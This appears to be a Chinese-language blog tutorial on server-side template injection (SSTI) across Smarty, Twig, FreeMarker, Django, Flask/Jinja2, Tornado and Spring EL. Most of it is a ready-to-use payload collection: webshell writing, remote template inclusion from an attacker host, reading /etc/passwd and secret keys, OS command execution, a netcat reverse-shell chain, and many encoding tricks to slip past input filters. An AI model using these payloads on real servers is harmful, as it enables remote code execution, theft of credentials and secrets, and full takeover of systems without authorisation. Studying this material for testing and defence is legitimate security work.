SSTI漏洞详解

目录

前备知识

模块引擎:

模块渲染函数:

继承关系:

SSTI漏洞简介

SSTI漏洞成因

SSTI漏洞原理

一些常见模块介绍

php Twig模块引擎 代码演示1

Twig模块引擎代码演示2

python flask模块 代码演示1:

python jinja模块 代码演示2:

java  演示:

漏洞检测

攻击利用

1.攻击方向:

2.攻击方法

1.利用模块自身的特性进行攻击实例:

1.smaity

2.Twig模块

3.freeMarker

2.利用框架本身的特性进行攻击

1.Diango

2.Flask/Jinja2

3.Tornado

3.利用模语言本身的特性进行攻击

1.python

2.java

payload大全

Bypass

绕过.

1.使用中括号[]绕过

2.使用attr()绕过

绕过单双引号

1.request绕过

2.chr绕过

关键字绕过

绕过init

Jinjia2使用过滤器绕过:

防御方法

参考文章


前备知识

模块引擎:

模板引擎是一种将数据和模板结合起来动态生成 HTML 页面的工具。通常我们会使用相关模块来美化我们的博客,提高文章表面的质量,模块引擎就可以将我们所要传输的数据和模块整合,已达到我们的目的。

模块渲染函数:

python主要有两种模板渲染函数,render_template_string()与render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。

继承关系:

类之间的继承关系,后面再构造python payload时,常会用到

魔术方法
 上面用的魔术方法这里总结一下,其他更多的魔术方法之后在补充一下

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

  创建四个类、其中B继承A、C继承B、D继承C。

class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
d=D()
print(d.__class__)                                    //<class '__main__.D'>
print(d.__class__.__base__)                           //<class '__main__.C'>
print(d.__class__.__base__.__base__)                  //<class '__main__.B'>
print(d.__class__.__base__.__base__.__base__)         //<class '__main__.A'>
print("#"*30)
print(d.__class__.__mro__)                            //(<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(d.__class__.__mro__[3])                         //<class '__main__.A'>,索引第一个位[0],也就是本类
print(d.__class__.__mro__[4].__subclasses__())        //这里会显示 <class 'object'>类所有子类
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}  //执行命令'whoami',后面会讲原理

 下面就是object主类的所有子类,其中就包含A类,不过太多了此处也只是一部分,主要是为了方便演示

 但是我们在进行构造的时候是无法自己创建类的,此时我们就要用到一些符号来构造。

print([].__class__)                    
print([].__class__.__base__)



此处[]还可以替换为()、''、""、{}等符号

 如下图就可以找到主类


 

SSTI漏洞简介

SSTI(Server-Side Template Injection)就是服务器端模板注入。利用该漏洞可用于直接攻击web服务器的内部。

SSTI漏洞成因

当在使用模块时,开发者未对用户的输入进行限制,此时攻击方就可以针对不同的模块,插入相关代码,来进行文件读取、命令执行等

SSTI漏洞原理

服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.

【补充】

单纯的字符串拼接并不能带来注入问题,关键要看你拼接的是什么,如果是控制语句,就会造成数据域与代码域的混淆,这样就会出洞

一些常见模块介绍

PHP:
1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。

2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。

3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。

Java:
1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。

2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。

3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。

4.JSP:没想到,这个专有名词不仅是文件格式,也可以是java的模块

5.Velocity:Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

Python:
1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。

2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

4.tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

php Twig模块引擎 代码演示1

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
echo $output;

上述情况,用户的输入到渲染的变量为name,但由于name外已经有{{}}了,当你输入{{7*7}}后,输入的还是{{7*7}},对模块并无影响,所以我们就无法进行漏洞,是一段安全代码

Twig模块引擎代码演示2

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分
echo $output;

此段代码虽然name外也有{},但是此处的括号实际上只是为了区分变量和字符串常量而已,所以此时我们输入{{7*7}},就被加载到模块内部,服务器一解析,就进行了代码执行--输出49。再进一步利用,服务器就多半没了

python flask模块 代码演示1:

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

上面是一段经典的flask代码,虽然此处并没有使用任何变量,也就是纯纯的代码块,但是由于此处还是利用了flask模块去渲染了的,也逃不出被利用,此处我们只需要在URL后面跟上{{7*7}},网页就会自然而然的返回49的结果。

python jinja模块 代码演示2:

# coding: utf-8
import sys
from jinja2 importTemplate

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

利用如上述,URL后加{{7*7}},被模块执行,页面返回49

java  演示:

哭死!!!我还不太会java,此处是一个经典的漏洞复现,直接上链接了

漏洞分析:https://paper.seebug.org/70/

漏洞检测

跟sql和xss注入的检测方式相差无二,都是注入点,并尝试各种payload,如果有代码执行的回显,则存在漏洞,后面利用漏洞时payload也要根据模块的不同格式而改变。

【补充】:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤

此处附上大牛写的ssti漏洞的检测工具:

GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool

关于我们如何黑盒判断模块,可以参考下图:

攻击利用

判断之后我们就可以针对模块,进行攻击利用

1.攻击方向:

找到模板注入主要从三个方向进行攻击

(1)模板本身
(2)框架本身
(3)语言本身
(4)应用本身

2.攻击方法

我们虽知SSTI带来的危害有,敏感信息透露、getshell、rce等,但是关键在于我们应对该注入点插入怎么样的代码才能达到目的,此时我们就要根据模块而定了,我们要查看该模块支持的语内置变量、属性、函数、还有纯粹框架的全局变量、属性、函数,然后我们考虑语言本身的特性,比如面向对象的内省机制,最最最后我们无能为力的时候才考虑怎么寻找利用该模块应用定义的一些东西,因为这个是几乎没有文档的,是开发者的自行设计,一般需要拿到应用的源码才能考虑,于是我将其放在最后一个。

【补充】:在这种面向对象的语言中,获取父类这种思想要贯穿始终,其中理论基础就是python的魔术方法、php的自省以及java的反射机制

1.利用模块自身的特性进行攻击实例:

1.smaity

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法

比如:getStreamVariable()

github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件)

payload:

{self::getStreamVariable("file:///proc/self/loginuid")}

再比如:class Smarty_Internal_Write_File

有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法

函数原型:

public function writeFile($_filepath, $_contents, Smarty $smarty)

但是这个第三个参数是一个smarty类型,后来找到了self::clearConfig()

函数原型

public function clearConfig($varname = null)
{
    return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell

payload:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

2.Twig模块

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询,我们可以使用_self,虽然_self本身没有什么有用的方法,但是却有一个env

env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php,大概就是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:

payload:

{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是有个问题,allow_url_include一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这个函数中调用了一个call_user_function方法

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

3.freeMarker

这个模板主要用于 java ,可以按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源

paylaod:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

2.利用框架本身的特性进行攻击

因为这里面的mobel模板似乎都是内置于框架内的,于是我就将其放在利用框架这一节

1.Diango

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

显而易见,此处的注入点就是email,但是如果我们的能力已经被限制死了,很难执行命令,但是又想获取和User有关的配置信息,我们该怎么办?

可以发现我们现在拿到的只有一个和User有关的变量,那就是request user,那我们的思路是什么?

P牛在自己的博客中分享了一个思路,我们把它引用过来:

Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项

大概什么意思呢?就是我们在没有应用源码的情况下要学会去寻找框架本身的属性,看到这个空框架有什么属性和类之间引用,然后一步一步的靠近我们的目标

后来我们发现,经过翻找,发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

此时我们的思路就比较明确了:我们只需要通过某种方式,找到Django默认应用的admin的model,再通过这个model获取setting对象,进而获取数据库密码、web加密密钥等信息。

payload:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

2.Flask/Jinja2

config是Flask模版中的一个全局对象,他代表"当前配置对象(flask.config)",它是一个类字典的对象,它包含了所有应用程序的配置值。在多数情况下,它包含了比如数据库链接的字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典的对象,但是通过查阅文档可以发现config有很多神奇的方法:from_envvar、from_boject,from_pyfile,以及root_path。

我们可以使用from_pyfile来进行命令执行

{{ from_pyfile('/etc/passwd') }} //读取/etc/passwd文件

{{ from_pyfile('__import__("os").system("whoami")') }}  //执行whoami指令

还可以使用from_object来进行命令执行

{{ from_object(os).system('whoami') }}

{{ from_object(__import__('os')).system('whoami') }}

两个函数的源代码如下

def from_pyfile(self, filename, silent=False):

    filename = os.path.join(self.root_path, filename)
    d = types.ModuleType('config')
    d.__file__ = filename
    try:
        with open(filename) as config_file:
            exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
    except IOError as e:
        if silent and e.errno in (errno.ENOENT, errno.EISDIR):
            return False
        e.strerror = 'Unable to load configuration file (%s)' % e.strerror
        raise
    self.from_object(d)
    return True


def from_object(self, obj):

    if isinstance(obj, string_types):
        obj = import_string(obj)
    for key in dir(obj):
        if key.isupper():
            self[key] = getattr(obj, key)

将传入的文件使用 compile() 这个python 的内置方法将其编译成字节码(.pyc),并放到 exec() 里面去执行,注意最后一个参数 d.__dict__翻阅文档发现,这个参数的含义是指定 exec 执行的上下文

import os
import sys

file_path = sys.argv[1]

with open(file_path, 'r') as f:
    source = f.read()
    code_obj = compile(source, '<string>', 'exec')

exec(code_obj, d.__dict__)

执行的代码片段被放入了 d.__dict__ 中,这看似没设么用,但是神奇的是后面他调用了 from_object() 方法,根据源码

for key in dir(obj):
           if key.isupper():
               self[key] = getattr(obj, key)

这个方法会遍历 Obj 的 dict 并且找到大写字母的属性,将属性的值给 self[‘属性名’],所以说如果我们能让 from_pyfile 去读这样的一个文件

from os import system
SHELL = system

到时候我们就能通过 config[‘SHELL’] 调用 system 方法了

那么文件怎么写入呢?Jinja2 有沙盒机制,我们必须通过绕过沙盒的方式写入我们想要的文件,具体的沙盒绕过可以参考一篇博文python 沙盒逃逸备忘

得到最终的payload

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL

3.Tornado

以护网杯的一道tornado的SSTI为例,该题是通过SST来获取cookie_secret,其中的过滤有

"%'()*-/=[\]_|

 甚至把_(下划线)都过滤了,也就是说我们没法通过Python 的魔法方法进行沙盒逃逸执行命令,并且实际上对我们的寻找合适的 tornado 的内置的方法也有很多的限制。

我觉得除了直接阅读官方的文档,还有一个重要的方法就是直接下载 tornado 的框架源码,全局搜索 cookie_secret

cookie_secret 是handler.application.settings 的键值,那我们只要获取到这个对象是不是就可以了,没错,那么 handler 是什么,看官方文档,我特地看一下模板的对框架的语法支持(因为,模板中有一些内置的对象等同于框架中的对象,但是一般为了方便书写前段就会给一个比较简单的名字,就比如 JSP 的 request 内置对象实际上对应着 servlet 中的 HttpServletRequest )

handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档

RequestHandler.settings 是 self.application.settings 的别名,等等! 有没有觉得有些似曾相识?对啊,这不就是我们之前在框架源码中找到的那个东西吗,也就是说我们能直接通过 handler.settings 访问到 我们朝思暮想的 cookie_secret ,至此我的分析就结束了。

payload:

http://117.78.26.79:31093/error?msg={{handler.settings}}

3.利用模语言本身的特性进行攻击

1.python

Python 最最经典的就是使用魔法方法,这里就涉及到Python沙盒绕过了,前面说过,模板的设计者也发现了模板的执行命令的特性,于是就给模本增加了一种沙盒的机制,在这个沙盒中你很难执行一般我们能想到函数,基本都被禁用了,所以我们不得不使用自省的机制来绕过沙盒,具体的方法就是在一篇博文中

2.java

java.lang包是java语言的核心,它提供了java中的基础类。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类

payload:

${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

当然要是文件操作就要用另外的类了,思路是不变的

payload:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

【注】:这里面的 T() 是 EL 的语法规定(比如 Spring 框架的 EL 就是 SPEL)

payload大全

因为python是最常见的,这里payload主要针对python

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Bypass

绕过.

1.使用中括号[]绕过

{{().__class__}} 
可替换为:
{{()["__class__"]}}

举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}

举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

绕过单双引号

1.request绕过

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。

关键字绕过

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

3.join拼接

利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

5.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

6.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

8.base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

9.unicode编码绕过

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

10.Hex编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过init

可以用__enter____exit__替代__init__

{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

Jinjia2使用过滤器绕过:

在 JinJa2 中内置了很多过滤器,变量可以通过过滤器进行修改,过滤器与变量之间用管道符号|隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号|连接多个过滤器,一个过滤器的输出应用于下一个过滤器。
内置过滤器列表如下:

abs()forceescape()map()select()unique()
attr()format()max()selectattr()upper()
batch()groupby()min()slice()urlencode()
capitalize()indent()pprint()sort()urlize()
center()int()random()string()wordcount()
default()items()reject()striptags()wordwrap()
dictsort()join()rejectattr()sum()xmlattr()
escape()last()replace()title()filesizeformat()
length()reverse()tojson()first()list()
round()trim()float()lower()safe()
truncate()

其中常见过滤器用法如下:

abs()
  返回参数的绝对值。
attr()
  获取对象的属性。foo|attr("bar") 等价于 foo.bar
capitalize()
  第一个字符大写,所有其他字符小写。
first()
  返回序列的第一项。
float()
  将值转换为浮点数。如果转换不起作用将返回 0.0。
int()
  将值转换为整数。如果转换不起作用将返回 0。
items()
  返回一个迭代器(key, value)映射项。

其他用法详见官方文档:

Template Designer Documentation - Jinja Documentation (3.2.x)

使用过滤器构造Payload,一般思路是利用这些过滤器,逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种:

{% set org = ({ }|select()|string()) %}{{org}}
# <generator object select_or_reject at 0x0000020B2CA4EA20>
{% set org = (self|string()) %}{{org}}
# <TemplateReference None>
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E
{% set org = (app.__doc__|string) %}{{org}}
# Hello The default undefined type.  This undefined type can be printed and
#    iterated over, but every other access will raise an :exc:`UndefinedError`:
#
